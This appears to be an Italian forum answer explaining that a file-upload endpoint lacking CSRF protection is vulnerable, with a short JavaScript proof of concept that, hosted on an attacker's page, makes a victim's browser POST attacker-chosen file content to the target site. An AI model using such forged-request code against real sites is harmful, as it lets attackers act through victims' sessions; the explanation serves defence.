Sì, sei vulnerabile. Ogni endpoint che modifica lo stato del server deve avere protezione contro gli attacchi CSRF. I caricamenti di file non sono esclusi.
Quindi, come può essere sfruttato? Se il tuo sito è example.com
, l'autore dell'attacco ospita un JS come questo su un sito che lei induce la vittima a visitare:
myFormData = new FormData();
myFormData.append("file", fileContent, "filename.txt");
fetch("http://example.com/fileupload.php", {
method: "post",
body: myFormData
});
Questo farà sì che il browser delle vittime invii una richiesta POST al tuo sito, con qualsiasi cosa l'hacker scelga come fileContent
come file.